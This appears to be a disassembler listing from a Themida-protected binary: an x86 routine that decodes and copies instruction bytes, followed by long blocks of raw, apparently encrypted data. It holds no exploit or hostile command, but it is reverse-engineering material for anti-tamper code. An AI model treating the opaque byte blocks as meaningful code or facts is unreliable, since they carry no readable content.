		cmp	byte ptr [ebp-5], 0
		jz	loc_5A2630
		mov	byte ptr [ebp+0Bh], 2
		jmp	loc_5A2630
; ---------------------------------------------------------------------------

loc_5A2603:				; CODE XREF: Themida_:005A2599j
		cmp	byte ptr [ebp-2], 0
		jnz	loc_5A2649
		cmp	byte ptr [ebp-5], 0
		jz	loc_5A2638
		movzx	ecx, byte ptr [ebp+17h]
		mov	edx, [ebp+0Ch]
		mov	cl, [edx+ecx]
		and	cl, 7
		cmp	cl, 5
		jnz	loc_5A2630
		mov	[ebp+0Bh], cl

loc_5A2630:				; CODE XREF: Themida_:005A25EAj
					; Themida_:005A25F4j ...
		inc	byte ptr [ebp+0Bh]
		jmp	loc_5A2656
; ---------------------------------------------------------------------------

loc_5A2638:				; CODE XREF: Themida_:005A2611j
		cmp	dl, 5
		jnz	loc_5A2656
		mov	[ebp+0Bh], dl
		jmp	loc_5A2656
; ---------------------------------------------------------------------------

loc_5A2649:				; CODE XREF: Themida_:005A2607j
		cmp	dl, 6
		jnz	loc_5A2656

loc_5A2652:				; CODE XREF: Themida_:005A25B1j
		mov	byte ptr [ebp+0Bh], 3

loc_5A2656:				; CODE XREF: Themida_:005A25A7j
					; Themida_:005A25E1j ...
		dec	byte ptr [ebp+0Bh]
		jz	loc_5A2684
		movzx	ecx, byte ptr [ebp+0Bh]
		mov	[ebp+8], ecx

loc_5A2666:				; CODE XREF: Themida_:005A267Cj
		movzx	esi, byte ptr [ebp+17h]
		mov	ecx, [ebp+0Ch]
		mov	edx, [ebp+10h]
		inc	byte ptr [ebp+17h]
		dec	dword ptr [ebp+8]
		mov	cl, [ecx+esi]
		mov	[edx+esi], cl
		jnz	loc_5A2666
		mov	esi, edx

loc_5A2684:				; CODE XREF: Themida_:005A2659j
		and	al, 0FEh
		cmp	al, 0F6h
		jnz	loc_5A26B9
		cmp	edi, 7Fh
		ja	loc_5A26B9
		test	bl, 38h
		jnz	loc_5A26B9
		cmp	byte ptr [ebp-7], 0
		jz	loc_5A26B3
		movzx	eax, byte ptr [ebp-4]
		jmp	loc_5A26B6
; ---------------------------------------------------------------------------

loc_5A26B3:				; CODE XREF: Themida_:005A26A4j
		push	1
		pop	eax

loc_5A26B6:				; CODE XREF: Themida_:005A26AEj
		mov	[ebp-1], al

loc_5A26B9:				; CODE XREF: Themida_:005A2688j
					; Themida_:005A2691j ...
		mov	dl, [ebp+17h]
		mov	bl, [ebp-6]

loc_5A26BF:				; CODE XREF: Themida_:005A2569j
		mov	al, bl
		and	eax, 7
		sub	eax, 4
		jz	loc_5A26EA
		dec	eax
		dec	eax
		jz	loc_5A26E0
		and	bl, 7
		add	[ebp-1], bl
		jmp	loc_5A26F2
; ---------------------------------------------------------------------------

loc_5A26E0:				; CODE XREF: Themida_:005A26CFj
		mov	al, [ebp-3]
		add	al, 6
		jmp	loc_5A26EF
; ---------------------------------------------------------------------------

loc_5A26EA:				; CODE XREF: Themida_:005A26C7j
		mov	al, [ebp-3]
		add	al, 4

loc_5A26EF:				; CODE XREF: Themida_:005A26E5j
		add	[ebp-1], al

loc_5A26F2:				; CODE XREF: Themida_:005A26DBj
		mov	al, [ebp-1]
		dec	byte ptr [ebp-1]
		test	al, al
		jz	loc_5A271A
		movzx	ecx, byte ptr [ebp-1]
		inc	ecx

loc_5A2705:				; CODE XREF: Themida_:005A2714j
		mov	edi, [ebp+0Ch]
		movzx	eax, dl
		inc	dl
		dec	ecx
		mov	bl, [edi+eax]
		mov	[esi+eax], bl
		jnz	loc_5A2705

loc_5A271A:				; CODE XREF: Themida_:005A26FAj
		pop	edi
		pop	esi
		mov	al, dl
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		db 8Dh,	85h, 89h
		dd 89062D90h, 2821B185h, 768D8D06h, 6A062D94h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
		dd 159FC352h, 0EDB50FFFh, 99958BC0h, 8906281Fh,	2807158Dh
		dd 85C7F506h, 62821BDh,	63C4h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 19h, 28C35747h, 8ECB42BAh, 0B9B589E4h
		dd 0C7062807h, 28113D85h, 6, 4ABF6600h,	15B5FF08h, 89062811h
		dd 2829358Dh, 0D995FF06h, 0F5062814h, 95FF006Ah, 6280465h
		dd 79EBC08Bh, 0D34A47EBh, 59572685h, 39FAD101h,	8F680B3Ah
		dd 0B30F6DB5h, 0EB2E158Ch, 0C5E8B8C7h, 374CC6F6h, 0A472BBBh
		dd 56677CBBh, 5A5751F6h, 225A35CCh, 0A6EA0EB7h,	4DE913FCh
		dd 6DF03C6Fh, 410D425Ch, 5F3FEB26h, 0EA1A8AF7h,	0DD94400Ah
		dd 0E67B9B63h, 9C41238Ah, 0B32535B9h, 7C74E5A2h, 7A1A3AEEh
		dd 17609E45h, 6F0E227Bh, 15EBE437h, 8C1ADC33h, 0C4DCA5D2h
		dd 87E4E2Ah, 17BE9E5h, 47F50000h, 6880502Fh, 4CAC8790h
		dd 58AF4F6Ch, 563408B1h, 567F51BAh, 585008B9h, 717E51B2h
		dd 247E3899h, 707451CBh, 0C452D330h, 0B6839F34h, 1488508Ch
		dd 12851FDh, 0
		dd 40000h, 2 dup(0)
		dd 2F0000h, 0
		dd 80000h, 0
		dd 79530000h, 6D657473h, 72502000h, 7365636Fh, 5D73h, 44h dup(0)
		dd 16E1E900h, 5C680000h, 0E9062D98h, 0FFFBAE5Eh, 2D996D68h
		dd 0AE54E906h, 6068FFFBh, 0E9062D9Ah, 0FFFBAE4Ah, 2D9B1A68h
		dd 0AE40E906h, 6068FFFBh, 0E9062D9Ch, 0FFFBAE36h, 2D9E0D68h
		dd 0AE2CE906h, 268FFFBh, 0E9062D9Fh, 0FFFBAE22h, 2D9FB368h
		dd 0AE18E906h, 0DA68FFFBh, 0E9062DA1h, 0FFFBAE0Eh, 2DA2EC68h
		dd 0AE04E906h, 9368FFFBh, 0E9062DA3h, 0FFFBADFAh, 2DA43268h
		dd 0ADF0E906h, 0E868FFFBh, 0E9062DA5h, 0FFFBADE6h, 2DAAFB68h
		dd 0ADDCE906h, 0E568FFFBh, 0E9062DABh, 0FFFBADD2h, 0AD91E360h
		dd 0C9ADF376h, 0E0C41492h, 0FBDF27A9h, 13F745C4h, 0B3324F5Eh
		dd 0C64A8165h, 0E6679E82h, 181B89Ch, 8BD9D1B5h,	0FB72333Ah
		dd 0D374477Ch, 0BA3EF6Fh, 1768BC3Ch, 7AD6E5D4h,	97DB5F24h
		dd 3BF1830Dh, 0D4333939h, 0ACE8C6A4h, 0AC3E17E2h, 87CB4F2Ah
		dd 1BB0F0A9h, 54B87CFEh, 653D0CC2h, 72B104B1h, 85FA494h
		dd 327CFF8Eh, 83DF3159h, 0F8FBCD18h, 45h, 3811DC99h, 51A224A6h
		dd 7AD6E51Ah, 631CFA5Eh, 7CFEF1C9h, 37B94BAFh, 0FEF087E6h
		dd 0AE2EF37Ch, 0D25CCA62h, 0A8BF04F4h, 827CFEF0h, 4D1CB404h
		dd 6CEB83CBh, 936EEB13h, 0E23E92BAh, 57FBCE6Ah,	0DBh, 6CEDC8F8h
		dd 3E1C8A22h, 972F7BFBh, 69FB49C8h, 0E55796E7h,	3FA37AD6h
		dd 22A27161h, 0EF6F3ED6h, 358B8767h, 0F680620Eh, 61B23412h
		dd 7AD62C0Ah, 5D08EF45h, 56F37585h, 398907F2h, 0CE84A25Bh
		dd 1A9A7AD6h, 560CEACEh, 3AB2D5BAh, 4D906E70h, 87E981CDh
		dd 51E3BCh, 7CFE2D78h, 6E381C80h, 0E738CAA3h, 7AD48DDEh
		dd 0FF49CAA5h, 261BF967h, 0D3AE30C2h, 0FF6D0555h, 115FDE21h
		dd 0F4744F2Dh, 887CAA8h, 0FD7816BAh, 5D50876h, 1441AAh
		dd 44961300h, 60A62960h, 77C7457Ch, 92DA5C93h, 0AAF877AEh
		dd 0E79C11C6h, 0FF361A68h, 1C53377Bh, 366D519Bh, 8E866AB6h
		dd 7DFCEF40h, 29FC7CFBh, 0F546C888h, 7AD6E5F6h,	7CA86202h
		dd 461952A4h, 1C9BDEBCh, 33B3EACEh, 0C83803E7h,	0E375E712h
		dd 0A9873191h, 9D2F08D3h, 5944651Bh, 0AC9D7C76h, 2AE6B2E6h
		dd 6B49DF5Dh, 0FE8D7AB2h, 0B02E097Ch, 6F5AC860h, 0A00EA6ECh
		dd 0D769CDC2h, 9B3379FCh, 1A5F4F2Dh, 7CFE74D7h,	0B447FDEDh
		dd 5D95A200h, 0A8D0A381h, 0CE7FEC48h, 0C061FBh,	6F020000h
		dd 3C0BA3EFh, 0D71667BDh, 237AD6E5h, 589D35BFh,	7AD6E1DAh
		dd 0A084D050h, 59DE969h, 6DFFD8A3h, 0E58E10EBh,	0FA921C62h
		dd 0D761A92Bh, 0E2B840F9h, 49CB7CFEh, 0FEE2F5F8h, 0C3A1057Ch
		dd 0B3A82ECEh, 0FCF08CA4h, 0F9C48E72h, 673D8E20h, 17AD456h
		dd 56294495h, 0ED517684h, 77F6D163h, 8F0E4529h,	7F175DE0h
		dd 0B5E38711h, 0AC08763Dh, 133081DCh, 85020000h, 95184F33h
		dd 0B6346B4Fh, 0C94B8266h, 0E7669D81h, 0AD00B599h, 1F0351D0h
		dd 3C2064E8h, 563A8405h, 6F539F1Fh, 95D82977h, 0E57CFB7Ch
		dd 12C87112h, 836EA17Eh, 5A9D7B8Fh, 79FB8DDBh, 0D6D7C528h
		dd 0F3D1357Ah, 0B40080B7h, 0EF6F05D0h, 0B63611A3h, 0CD9C8C6Ah
		dd 946F014Dh, 0B1EDCB11h, 0C84BFC7Ah, 0BB53A321h, 0BD2BC34Dh
		dd 0A3259B33h, 0D6E51B52h, 4690117Ah, 3FA340AEh, 529E1E61h
		dd 0A7FEC56Eh, 0EF7103DCh, 0E5D11C6Dh, 57DB7AD6h, 4C127613h
		dd 0CE145158h, 0A35C3AF5h, 7CFEB769h, 60812B8Fh, 8B74B808h
		dd 59EBC48Fh, 4C5ED408h, 1C6DEF81h, 790C26D1h, 78105ADBh
		dd 2B096D0Ah, 0D83AD236h, 8294F80Dh, 542F2448h,	0F6D5C68Eh
		dd 901A93EEh, 23A17CFEh, 6D3CF5D3h, 0F57F2773h,	0A424FF91h
		dd 0BD3D7458h, 0F2D5CD71h, 0D0A00629h, 123D75h,	40920F00h
		dd 5CA2255Ch, 73C34178h, 8ED6588Fh, 0A6F473AAh,	0E3A00DC2h
		dd 0FB321664h, 184F3377h, 32694D97h, 8A8266B2h,	7F80EB3Ch
		dd 25F87CFBh, 0A3EF6F84h, 5DEA90Bh, 0CA1A9873h,	791161DFh
		dd 0F2432D0Bh, 7CFEF4A2h, 805E42A6h, 0A312B7CAh, 0B18F7119h
		dd 0AA2EE6Eh, 7204DDA8h, 0D3A3D321h, 1FB1157Ah,	0E678C444h
		dd 0AB43870Bh, 87115BDCh, 0B6366DA9h, 815CD26Ah, 0B01EB600h
		dd 5831FCD2h, 198F75C6h, 258970ADh, 3E8F1193h, 6855182Fh
		dd 0C609E74Bh, 0DF16FA46h, 0CB81135Fh, 3D452D17h, 9D8D6B26h
		dd 597703Bh, 7D3D28B4h,	28CC306Eh, 14CF7284h, 83DA3505h
		dd 55000011h, 6BA286D8h, 87BEA2E8h, 9ED5B909h, 0B9F0D41Ch
		dd 5308EC3Ah, 58A6255Ah, 75B93D74h, 8FD95A91h, 0A8F474ABh
		dd 2D7ECCC4h, 7CFB7E3Eh, 6FC6673Ah, 0F4BEA2F0h,	6DBE5029h
		dd 7CFEF387h, 0B6851D81h, 0CF06EA36h, 96B034Fh,	51D3653Eh
		dd 0F26F7ECFh, 278B7CFEh, 0DE409049h, 24887AD6h, 90B8098Ch
		dd 0F97B28A8h, 0A61558A9h, 1657686h, 0E771DF77h, 956E3903h
		dd 0B042B203h, 0F6D170AEh, 564B2977h, 8DDE60F2h, 68AEBF5Eh
		dd 6858369Ah, 35CD1999h, 8E072FE4h, 7D58EAC3h, 0E9D3B1FDh
		dd 5994E567h, 0A168AEBFh, 0BF89E435h, 8DF168AEh, 0F86C2503h
		dd 806E86A9h, 57EF3BBBh, 447B5FE9h, 0BE678C4h, 70603E8Ch
		dd 7684C42Bh, 18CE3E62h, 669B1B23h, 0E3B69458h,	115DDDBBh
		dd 2A76F62Dh, 8C653092h, 0F623A9FAh, 0F155645Eh, 293C640Dh
		dd 0A2F3855Eh, 6233136Ah, 2E802A8Eh, 0A785D553h, 0FF97E564h
		dd 0B7B60789h, 0C35E231Dh, 0A1C8815Fh, 0F85E231Dh, 0CC2542Dh
		dd 0E6B86D04h, 0CAB4922Dh, 0E3C7379h, 8F218558h, 4E834B4h
		dd 1853A426h, 6051F404h, 5BDB1EFCh, 29A8770Fh, 6C7F37DBh
		dd 4E1E2746h, 103DF3h, 40920F00h, 5CA2255Ch, 73C34178h
		dd 8ED6588Fh, 0A6F473AAh, 0E3A00DC2h, 0FB321664h, 184F3377h
		dd 32694D97h, 8A8266B2h, 7980EB3Ch, 25F87CFBh, 0A2F06F84h
		dd 0BB0787BEh, 88D45423h, 2FFA40F6h, 79BB8D72h,	0BC2CAB9Bh
		dd 56836606h, 480E759Ah, 11E15B75h, 0D6A987F3h,	0FE4ACAAEh
		dd 1D863C1Ah, 154BCDEBh, 99666F01h, 0BDE5CBD3h,	0F9C824DFh
		dd 0B13D01F5h, 0DE000001h, 11A3EF6Fh, 8F6DB336h, 450D09Fh
		dd 768B5620h, 3AEA21F2h, 5695E6C5h, 0A27AD689h,	982AB43Eh
		dd 70BA3B16h, 895E8DDEh, 369A7AD6h, 88019F58h, 3677CFEh
		dd 88C3266Bh, 20F97CFEh, 173C98F8h, 37B9FBCEh, 0FE8087E6h
		dd 0B18FF37Ch, 46BFh, 0F3724D00h, 0DCF0C7A5h, 24A63811h
		dd 0D6E598D3h, 9E7CE07Ah, 0F1C963B4h, 0FAF7CFEh, 82489F96h
		dd 0DA6CF695h, 7A5CC224h, 7B5985ADh, 8B23468Bh,	40197CFEh
		dd 2BAE8918h, 1DF4DE5h,	0CE11EA46h, 0E65FFBh, 0C8000000h
		dd 85265512h, 4F2DF7FBh, 0C4048C0Ch, 0D5A7F862h, 6231C953h
		dd 2EFD95E3h, 0FBCA62AEh, 97D6277Bh, 0BA7AD669h, 7AC70C93h
		dd 0F3933025h, 872F27BDh, 0DD67F186h, 0C5EE4CF9h, 0C4447AD6h
		dd 0DBB69478h, 0B3BA0B57h, 0C77AD6CCh, 0D341D963h, 7B541FF5h
		dd 90C33E9h, 0C834D042h, 0C87E00EAh, 3BBA7C82h,	3D8B0A1Ch
		dd 1E1CD5B3h, 627CFCE1h, 12916CFEh, 1E12AE88h, 9157D7A7h
		dd 0DD969E24h, 0DBBF49A8h, 0C32A7BFDh, 377CFDE4h, 10A8F072h
		dd 0F73A18A2h, 3A862A78h, 77024E8Ch, 0E904CA7h,	0E5620000h
		dd 0F578AF93h, 1694CBAFh, 29ABE2C6h, 47C6FDE1h,	4D6015F9h
		dd 7F63B130h, 9C80C448h, 0B69AE465h, 0CFB3FF7Fh, 353889D7h
		dd 457CFB7Bh, 0EDC8D172h, 3E8F216Dh, 7AD6E52Fh,	0C609E74Bh
		dd 0DE15F947h, 632E125Eh, 7367EF6Fh, 0C1076938h, 0CF67F1h
		dd 90DB2C80h, 0E87AD6F9h, 667BF648h, 87112CE5h,	62E219FDh
		dd 511C7E16h, 8F95E678h, 0C97CFE07h, 0D0BE8165h, 19000007h
		dd 0C241F06Fh, 0A258EA74h, 0B4785444h, 0E00B5C9Fh, 187AD61Bh
		dd 5C4C2AB4h, 0E2870BE6h, 14821A5Eh, 0FCF3AC8Ah, 0F7AD61Bh
		dd 6BC5459h, 0B18FDD9Fh, 0A53710DBh, 0FB0E1054h, 62F4587Ch
		dd 0F65C8FE0h, 389C7CF8h, 1595705Ah, 0D8137C9h,	4BA2F35Ch
		dd 0AF7CF804h, 915D854Bh, 7AB1EDCBh, 9A1CAEFAh,	0F8162249h
		dd 7F2567Ch, 6F5F3D85h,	2FD321A0h, 2527E9Bh, 9BFF5A2Ah
		dd 6D00000Dh, 83BA9EF0h, 9FD6BA00h, 0B6EDD121h,	0D108EC34h
		dd 6B200452h, 70BE3D42h, 8DD1558Ch, 0A7F172A9h,	0C00C8CC3h
		dd 4596E4DCh, 7CFB7A26h, 6FDE7F52h, 87BEA2F0h, 2DDA5A07h
		dd 5AC860AEh, 0E76938D0h, 0F99079Fh, 9918F385h,	568B94Bh
		dd 757AD6E5h, 74433311h, 9110A8F4h, 0A8281038h,	6DC9785Ch
		dd 0E201F67Fh, 0Dh, 0EF03F983h,	0B1287AD6h, 0FFFFFD60h
		dd 0E5F6F90Ch, 5E297AD6h, 9718F385h, 6947B54Dh,	0A122FD7Fh
		dd 6651BF57h, 95039BE5h, 70FEFEB7h, 96FA7CFBh, 5DA92904h
		dd 76C24279h, 42900FDEh, 5120369Eh, 78D3A302h, 0CEAh, 9ED3FBCh
		dd 25094FD2h, 3C2070EEh, 573B8305h, 6F53A120h, 0F8EF3BAh
		dd 22A6DDC1h, 42C3FADEh, 5DDD14F8h, 0E7352D11h,	0FB7A5796h
		dd 2FD0A37Ch, 0BA3EF6Fh, 0F236BA95h, 551D114h, 0A37EEE6Dh
		dd 0D13FD723h, 69F820F3h, 2FC10F8Eh, 0D6E58FDEh, 0A987EB7Ah
		dd 0B69AE666h, 0F67FAB07h, 142001h, 0F9C10000h,	7AD6EF03h
		dd 0DD0EE1ECh, 0DE685036h, 0FFFCAF67h, 11DCC2FFh, 755A638h
		dd 5C7CFEC1h, 0DBB9FD81h, 0A5EA82E6h, 7CFEC143h, 0EB769E77h
		dd 9FF3F135h, 0FEBB1F4Eh, 31F75B7Ch, 0DAB8BEDEh, 0CDA6C31Fh
		dd 4C8A40FBh, 0EB9380E5h, 0CE1E9C87h, 0F8EAC836h, 1E9h
		dd 0E5C6F999h, 5BED7AD6h, 54211EA5h, 8792DBDAh,	31F84320h
		dd 223A18A2h, 649B23A3h, 6AB435DBh, 0C42DD4A4h,	0D526A83Ah
		dd 7AD66396h, 64A07EE2h, 0DE2CAB86h, 0B7FAD846h, 0E53EB37h
		dd 7AD663B3h, 5C3C64B5h, 0E2AC90DCh, 0D5A43C15h, 0D725A855h
		dd 0D6626786h, 0A52F937Ah, 7E59371Bh, 89CD51FEh, 33F967FFh
		dd 310D505Fh, 0C609E7F0h, 1D62FA46h, 7AD6ACBAh,	217FA780h
		dd 1F63AC5h, 7C6FC042h,	7C7AD6A4h, 5E483A18h, 0E9000001h
		dd 0BA3EF6Fh, 8C70BC3Ch, 8C1EF7C2h, 0FEE47D3Bh,	0D9F037Ch
		dd 17F42557h, 4C2A74F8h, 880BE65Ch, 5E3CAA42h, 0FEF342A5h
		dd 9FE5687Ch, 6EB63807h, 0D6FE57D6h, 779F7853h,	0CE6DBD19h
		dd 4732FBh, 0E5C00000h,	62391767h, 0A63811DCh, 0FEF1D755h
		dd 5CDCA17Ch, 18AF24D4h, 63EDAC25h, 18B0F478h, 438820AAh
		dd 7CFE282Ch, 8A702616h, 0FA8C4216h, 234B1EFCh,	0A0CB1C9Eh
		dd 0D87CFEFDh, 7FDB9674h, 0F4FBCE67h, 0A4h, 0A3EF6F95h
		dd 6FBD3C0Bh, 0DB8808D7h, 0C7A1258h, 9B1BEA82h,	0F8BE6B4Fh
		dd 2E7AD6FDh, 4ED062AEh, 0D6FCEEFDh, 0C5450A7Ah, 0E973E179h
		dd 3A05CF0Bh, 974DCF61h, 0EF91595Bh, 0EC38B860h, 7E5CE654h
		dd 0FCFA69C5h, 15A70B7Ch, 896DBB3Ah, 0E185D352h, 24EEAFDh
		dd 0C3C520F0h, 9500000Ah, 0ABE2C618h, 0C7FEE228h, 0DE15F949h
		dd 0F930145Ch, 93482C7Ah, 98E6651Ah, 0B5F97DB4h, 0CF199AD1h
		dd 0E834B4EBh, 6DBE0C04h, 7CFB447Eh, 6F06A77Ah,	5A10A2F0h
		dd 6A9808A4h, 43C262F4h, 5143A57Ah, 76ADE9C7h, 0FBC6AAF6h
		dd 216DEDC8h, 0FA3D1B89h, 0E69C2E7Ah, 0DB14B8D8h, 0E6644FB7h
		dd 0B290FE96h, 0EE714CC2h, 0A9D9356Ch, 9B25E073h, 74B79503h
		dd 1C4A8F4h, 403h, 8362FD5Ch, 0CB4DDFB8h, 522D715h, 0F98B259Dh
		dd 0D6A945A8h, 7351B57Ah, 0FB3C91BAh, 0E839A57Ch, 7CFB0785h
		dd 0F2CB91F5h, 640F6C78h, 89C771FBh, 0D153E5BEh, 1695981Bh
		dd 765408A4h, 0D3B4ABBDh, 0D169CD7Ah, 8370658Ch, 5E865F76h
		dd 0A0EEA602h, 38B1BF5h, 0F9BC0000h, 7AD6E5F6h,	0D6E52C46h
		dd 80D1537Ah, 7AD6E56Dh, 754B298Dh, 0B23495AAh,	8F0EB8A6h
		dd 0B03AC40Eh, 0AE3BCD1Eh, 0D13D7CFEh, 922A76F6h, 89A8C324h
		dd 6CD07CFEh, 0F7AA3EE2h, 8757024Bh, 9B12Ch, 0B4068300h
		dd 0D01699D0h, 0E737B5ECh, 24ACC03h, 1A68E71Eh,	572C8136h
		dd 6FA68AD8h, 8CC3A7EBh, 0A6DDC10Bh, 0FEF6DA26h, 470C5FB0h
		dd 996C7CFBh, 0A3EF6FF8h, 2CDF950Bh, 0CEAB2AF1h, 5C27FDDBh
		dd 60A0F183h, 887CFBE4h, 0AB764024h, 0D5EF40D2h, 0DE7AD559h
		dd 9F378303h, 4A006B31h, 0B5EEC1BEh, 0D342E2D7h, 7F4987F3h
		dd 0C8A335BFh, 6F1C0044h, 768DE150h, 43D5A677h,	0E37D70C1h
		dd 0C54768Dh, 784B40F3h, 603EA23Fh, 2569ED24h, 0F23EBE8Dh
		dd 542DF85Ah, 0F5AB71C2h, 49AD70A5h, 0A6B24DA5h, 9DF8C80Eh
		dd 90Ah, 290D5FDCh, 45296FF2h, 5C40900Eh, 775BA325h, 8F73C140h
		dd 2FAED3DAh, 42C6FDE1h, 62E31AFEh, 7DFD3418h, 7554D31h
		dd 0FB46B7B6h, 4FF0C37Ch, 0A63811DCh, 0FB703F55h, 43D5397Ch
		dd 1662E6C1h, 0FB70A6C5h, 0E46ED27Ch, 0FB3FC306h, 185CE017h
		dd 7A531E80h, 93E466E8h, 7CFB7058h, 0EB88D052h,	0D0F0A987h
		dd 0D87AD6E5h, 8B66DC74h, 95DB5E0Bh, 8C572D0Bh,	74DD0ABh
		dd 8DCF47A6h, 0C54FB376h, 0E09AE233h, 19DE70A5h, 6DBE5096h
		dd 6855BC7Eh, 0E88C167Ah, 0EA6E414h, 6BEA4515h,	3D000008h
		dd 538A6EC0h, 6FA68AD0h, 86BDA1F1h, 0A1D8BC04h,	3BF0D422h
		dd 408E0D72h, 5DA1255Ch, 77C14279h, 90DC5C93h, 1566B4ACh
		dd 7CFB41D6h, 6FAE4F22h, 3C0BA3EFh, 478B0FBCh, 1FB741AFh
		dd 391F47A0h, 428A0CB9h, 0CEB23CAAh, 0F683C31Fh, 1AF3801h
		dd 0DCD90000h, 55A63811h, 7CFECA77h, 0C0059D01h, 7CFECAA9h
		dd 49C8A393h, 224A1DFBh, 0CE5472CEh, 18BE7FBh, 6F880000h
		dd 3C0BA3EFh, 3DE70BCh,	0F53D782h, 0C543ED85h, 0A0FE7735h
		dd 88C4A22Ch, 881AF3BEh, 0FE1F7937h, 0BB5FFF7Ch, 97D3B1DCh
		dd 0E61B3089h, 80549020h, 0FE5A3C2Fh, 4ED83C7Ch, 0D75732C4h
		dd 45A8F98Bh, 0B57CFE5Ah, 0D837351h, 0C5DB332h,	7CFE5AE1h
		dd 4D2BB519h, 0FE5A5D94h, 89D9577Ch, 54A422F1h,	0BCE43DBCh
		dd 6189623Dh, 0DE0D5EE0h, 1A7CFE5Ah, 0C11DD8B6h, 3EFBCDC4h
		dd 199E163h, 51C3B593h,	64000000h, 58D711DCh, 7A04720Ah
		dd 0F19597E8h, 13EE7CFEh, 73684694h, 4DE52BAEh,	47BD55DFh
		dd 43C0FC5h, 1CF7EC9Ah,	0FEB1B0BBh, 8664C87Ch, 0FEB19ACDh
		dd 0C50F907Ch, 92DE5E2Dh, 4B732AFAh, 0F21AF3CEh, 0CE2C429Eh
		dd 64E4BFFBh, 0A3483A18h, 0E9000000h, 0BA3EF6Fh, 0D76FBD3Ch
		dd 0A43C8808h, 1ECD55D5h, 5E295455h, 5AF5F849h,	0A1057AD6h
		dd 0FCA98D17h, 7AD646CEh, 0BD7C0484h, 899D31B7h, 0C528790Bh
		dd 357AD6C6h, 996347D1h, 8863F5CEh, 0B523BB09h,	9E9CEDD7h
		dd 0ED7CFC64h, 6C4A8E12h, 1742D777h, 0E71F33FCh, 71F0CB5Dh
		dd 89083F23h, 6D6F973Bh, 0FECE024Eh, 6B5A3h, 0B80A8700h
		dd 0D41A9DD4h, 0EB3BB9F0h, 64ED007h, 1E6CEB22h,	5B28853Ah
		dd 73AA8EDCh, 90C7ABEFh, 0AAE1C50Fh, 2FADE2Ah, 400863B4h
		dd 9D707CFBh, 0A2F06FFCh, 0BB0787BEh, 0EF6F0CD7h, 0DE76C242h
		dd 7F4EE670h, 0CCFB3FFh, 23h, 0B491FD67h, 2D7E10E9h, 7CFB701Dh
		dd 0EC09B317h, 70491411h, 0E5728DDEh, 12767AD6h, 623168h
		dd 0DC8C0000h, 959D711h, 0E7790371h, 5B92E365h,	9F7AD6E5h
		dd 0E593DA3Bh, 83E77AD6h, 626ABBA5h
		dd 167CFECCh, 0FC86D051h, 9638EE64h, 3327C6FDh,	56C07957h
		dd 83830153h, 421DA4CCh, 71DF77C1h, 19F2BD93h, 85563687h
		dd 7EE27AD6h, 5FE1BC9Ah, 30B07F17h, 0FE945AE4h,	3FB8EE91h
		dd 9AC39270h, 1E000000h, 0A63811DCh, 0FB703755h, 0ED714C7Ch
		dd 0A7C617A9h, 0D37CFB70h, 389C916Fh, 248CBA6h,	70CC1F70h
		dd 0C82C7CFBh, 0B893EBEAh, 0E654EC38h, 0EAA5308h, 0DBAA428Eh
		dd 0EF7B1357h, 6A0188B0h, 338FE109h, 0B0FBC8EBh, 2F0D51D5h
		dd 403Dh, 11DCDE00h, 3455A638h,	407CFB70h, 0EB1235DCh
		dd 3898C021h, 0FBC8EADCh, 2451h, 11DCF200h, 3555A638h
		dd 3F7CFB70h, 0E20DE49Fh, 20AA6FFEh, 65A75679h,	2884DC04h
		dd 9DFBC8B6h, 0Dh, 0FE23F93Eh, 0D1487AD6h, 0FFFFFF07h
		dd 0F546C82Ch, 7AD6E5F6h, 74BA3D02h, 6B360CEAh,	0CE66B031h
		dd 0A7F77560h, 8517A10Fh, 24A42803h, 0F53F960Fh, 8119A32Ah
		dd 62B3BA0Bh, 63C77AD6h, 0D642FBD9h, 657CFBF6h,	0E3C1078Ah
		dd 7CF28AEEh, 1F7877C6h, 0F8F69FCEh, 0B177DB7Ch, 2D0BB69Dh
		dd 21B38C57h, 0D52FB1D0h, 0BD55B97Ah, 0A0EC6C47h, 0E6BC9A08h
		dd 5FB0421Bh, 70A084F5h, 0FB7D0F73h, 59CBE345h,	3E15FB7h
		dd 65F73DC0h, 0E2C0088Ah, 3811DCA6h, 0C53F55A6h, 0D5396E72h
		dd 9BE96843h, 9E72DB0h,	79C3441Fh, 4B4E895h, 0F676FA47h
		dd 0F8FC6AAh, 0DF7B31C3h, 0B8750D36h, 73D5C5A3h, 0EC3DCFA8h
		dd 0CC239C9Ch, 65E880E4h, 8C0CEC14h, 0A4255C40h, 70F3C25Ah
		dd 0C706922Ah, 0EE38B99Fh, 3762C0Ah, 369DCFD1h,	0C528790Bh
		dd 35CDD378h, 2FB0F3D1h, 80D153E5h, 0CDD3786Dh,	5B4B298Dh
		dd 0DD10E51Ah, 0CF512CB5h, 0A381EF87h, 0B195DF60h, 6EEDC8E6h
		dd 0A06C4220h, 0E26231C9h, 0F8ADFE96h, 0B28955D0h, 78C64520h
		dd 8FE072E0h, 7AD6E55Ch, 1E5A389Ch, 741B67E7h, 8C0BAD51h
		dd 58D7A63Eh, 0ABFC720Ah, 7AD6E540h, 32E754B8h,	78178F0Ah
		dd 9CE86850h, 7EC447F2h, 0E54AA1E6h, 0E0607AD6h, 0AD2DFC94h
		dd 7AFAC961h, 8028962Eh, 0C03F1941h, 0E26CDA72h, 7D00DB43h
		dd 53319F37h, 47C95880h, 0D6E5F7F6h, 0E737B57Ah, 354E64Ah
		dd 7AD6E5E8h, 8BCEAC10h, 0DEC208h, 0CBB99F4Ah, 0BA9811E2h
		dd 14ACF677h, 0D65799CFh, 0BBE3867Ah, 2E125CDDh, 0D6772781h
		dd 0A0F95C7Ah, 1301F5B1h, 0FFFFFF51h, 0A3EF6FB4h, 0BC0888BFh
		dd 98E46415h, 769E29F1h, 89010EBh, 0C5DFC7EFh, 4B29B326h
		dd 923C8808h, 0F5E5136Fh, 378801h, 94160000h, 0D66A2843h
		dd 0EEC507Ah, 3811DC37h, 703A55A6h, 0DA3E7CFBh,	0B3EE1033h
		dd 0BA850028h, 0C3FE4FE1h, 0E77AD6E5h, 0FF3BF183h, 5ED26D35h
		dd 356C6E4Ch, 4Ch, 3811DC90h, 0C94924A6h, 9977E57Dh, 0FB70A1E0h
		dd 78F9D47Ch, 6228962Eh, 0AE70AAFCh, 877C5A8Ah,	5FF741C2h
		dd 9E5D2BF1h, 0DEA5240Fh, 7A55AD54h, 1FD4B2F6h,	0D35CAFCh
		dd 62F4CD98h, 0D676F611h, 0EC96FA7Ah, 0F141BF9Ah, 360DEB59h
